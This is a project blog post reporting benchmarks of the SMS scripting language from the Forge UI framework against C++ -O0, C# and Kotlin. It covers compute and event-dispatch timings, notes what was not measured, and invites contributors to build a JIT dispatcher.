7 runs per variant. Median reported.

Runtime Median (µs) vs SMS
SMS → LLVM IR (no optimizer) 71,358
C++ clang -O0 85,466 SMS 1.20x faster
C# .NET warm (JIT) 96,656 SMS 1.35x faster
Kotlin JVM warm (JIT) 64,445 Kotlin 1.11x faster

The checksum matches across all four. The numbers are real.

SMS without any optimizer runs 20% faster than equivalent C++ at the same
optimization level — and 35% faster than C# even with JIT active.

Only Kotlin JVM stays ahead, and it does so with JIT assistance.

Why is SMS Faster Than C++ at -O0?

This surprised us too. Here is the explanation.

When clang compiles C++ at -O0, it is deliberately conservative. Every variable
lives on the stack. Every intermediate value is written and re-read. The IR is
verbose by design — because at -O0, clang trusts the debugger more than
the programmer.

SMS skips the C++ frontend entirely. It generates LLVM IR directly from the AST,
and that IR is already lean. No frontend overhead. No stack-frame conservatism.
The result is cleaner IR that the backend can lower more efficiently — even without
optimization passes.

It is not magic. It is a shorter path.

Event Dispatch: We Measured It. Then We Thought About It.

While we had the stopwatch out, we also measured event dispatch — the mechanism
behind every on btn.clicked() in a Forge app.

We dispatched 100,000 events to a handler (counter = counter + 1; return counter)
through three systems:

Runtime Per event (ns) Total 100k
SMS on bench.tick() interpreter 7,260 726 ms
C++ unordered_map dispatch 266 27 ms
Kotlin JVM HashMap dispatch 51 5 ms

At first glance this looks like a problem. 27x slower than C++. 143x slower than Kotlin JVM.

Then we remembered what UI actually is.

A button click arrives roughly every 500 milliseconds if the user is fast.
At 7,260 nanoseconds per dispatch, the SMS event handler finishes 68,000 times
before the next human input arrives.

This is not a performance gap. This is a rounding error on human time.

The real cost of a UI event is not the dispatch. It is the render, the layout pass,
the draw call. The SMS interpreter overhead disappears entirely in that noise.

We are noting it anyway — because honest benchmarks show everything, not just
the numbers that make us look good.

What the Numbers Actually Mean

Let us be precise about what was measured and what was not.

What was measured:

  • SMS AOT (LLVM IR, no optimizer) vs C++ -O0 vs C#/Kotlin JIT
  • A compute workload on Apple M2
  • A synthetic event dispatch loop

What was not measured:

  • C++ with -O2 — it would win by a large margin, and that is fine
  • SMS with an optimizer — that does not exist yet
  • Real UI rendering, startup time, memory footprint

The honest picture:

today:
  SMS (no optimizer)  ████████████  71 ms
  C++ (-O0)           ██████████████  85 ms
  C# (JIT)            ████████████████  97 ms
  Kotlin (JIT)        ███████████  64 ms

with C++ -O2:
  C++ (-O2)           ███  ~8-12 ms   ← would win

SMS with optimizer (not yet):
  SMS (-O2)           ???             ← where this is going

We are not claiming SMS is faster than C++. We are saying:
SMS generates better unoptimized code than C++ generates unoptimized code.
That is a meaningful statement about the quality of the compiler backend.
When an optimizer arrives, it starts from a better baseline.

The Next Step: JIT

There is one scenario where the event dispatch latency does matter:
high-frequency programmatic events — animations, simulation loops, reactive data
bindings firing hundreds of times per second.

For that, SMS already has every building block for JIT:

Piece Status
Interpreter sms_native_session_invoke()
LLVM IR codegen sms_native_codegen_llvm_ir()
clang as backend ✅ used by sms_compile
dlopen / dlsym ✅ standard POSIX

The missing piece: after a handler fires N times, compile it to a shared library,
dlopen it, swap the function pointer. ~200–300 lines of C++.

After warmup, a JIT-compiled SMS handler would reach native C++ dispatch speeds.
Kotlin JVM would no longer have a structural advantage — it would be an equal.

We are looking for someone to build this.

If you are comfortable with C++17 and dlopen, the architecture is documented,
the benchmark harness is ready, and your name goes into the release notes and
into this article.

GitIssues Issue: SMS JIT Dispatcher

Why Forge

Forge is a UI framework built on two ideas:

SML — a declarative markup language for UI layout.

SMS — an event-driven scripting language that compiles to LLVM IR.

No JVM. No CLR. No garbage collector. No runtime to install.
on btn.clicked() is not a callback registered in a framework lifecycle.
It is a first-class language construct that compiles to native code.

We benchmarked it because we want to know the truth about where we stand.
The truth is: we are faster than C++ at the same level, faster than C# JIT,
and one optimizer away from being a serious contender against the full stack.

That is not a marketing claim. That is a measured number with a checksum.

Benchmark code: samples/bench_mac/ in the Forge repository.

Run it yourself: bash samples/bench_mac/run_bench.sh

Forge is open source. Contributions welcome.

Sat Nam. 🌱